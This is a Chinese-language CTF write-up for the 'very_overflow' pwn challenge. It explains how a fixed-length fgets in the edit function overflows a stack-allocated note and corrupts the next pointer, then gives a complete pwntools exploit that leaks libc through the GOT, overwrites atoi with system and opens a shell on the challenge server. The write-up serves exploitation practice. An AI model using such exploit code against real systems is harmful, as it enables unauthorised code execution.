本文最后更新于:星期三, 一月 2日 2019, 4:19 下午
防护机制:
[*] '/home/zs0zrc/pwn/Scoreboard/very_overflow/very_overflow'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开启了NX,并且程序是32位的。简单的运行了下,发现程序有4个功能。题目提供了源码就不用ida看了。这个程序模拟一个node的分配系统,但是没有用到堆,而是在栈上分配
node的结构体:
struct NOTE {
struct NOTE* next;//存储着下个note地址的指针
char data[128];
};
程序的4个功能
1) add node 新建一个node
2) edit node 对给定下标的node进行编辑
3) show node 将给定下标的node的相关内容打印出来
4) dump nodes 将全部note的相关内容打印出来
这个程序主要 漏洞存在 add 和 edit 功能上
add一个新 node时,它设置node->next的操作有问题,单独看是没什么问题的。
node->next = (struct NOTE*)(node->data + strlen(node->data) + 1);
edit用的是fgets函数,它读取的长度是固定的
fgets(node->data, sizeof(node->data), stdin);//这里 sizeof(node-data) = 128
// 如果创建的node的data大小比这个小,那么在edit时就会造成溢出,就可以修改下个node的next字段,达到任意地址读写的操作
具体思路:
利用edit的溢出修改下个node的next字段为got表的地址
通过show功能打印出libc内地址
在通过edit功能修改atoi函数在got表的内容为 system函数地址
然后发送 '/bin/sh\x00'字符串 就可以getshell了
exp:
#!/usr/bin/env python
from pwn import *
local = 0
if local:
p = process('./very_overflow')
elf = ELF('./very_overflow')
libc = elf.libc
else:
host = 'hackme.inndy.tw'
port = '7705'
p = remote(host,port)
elf = ELF('./very_overflow')
libc = ELF('./libc-2.23.so.i386')
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
def debug(addr,PIE=False):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def add(content):
ru("Your action:")
sl('1')
ru("note: ")
sd(content)
def edit(idx,content):
ru("Your action:")
sl('2')
ru(" edit: ")
sl(str(idx))
ru("data: ")
sd(content)
def show(idx):
ru("Your action:")
sl('3')
ru('Which note to show: ')
sl(str(idx))
add('a'*8+'\n')
add('b'*8+'\n')
add('c'*8+'\n')
edit(0,'a'*0xa + p32(elf.got['__libc_start_main'])+'\n')
show(2)
ru("Next note: ")
leak = int(p.recvline().strip('\n'),16)
print hex(leak)
libc_base = leak - 0x18540
system = libc_base + libc.symbols['system']
edit(2,p32(system)*3+'\n')
rc()
sl("$0")
sl('5')
p.interactive()
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!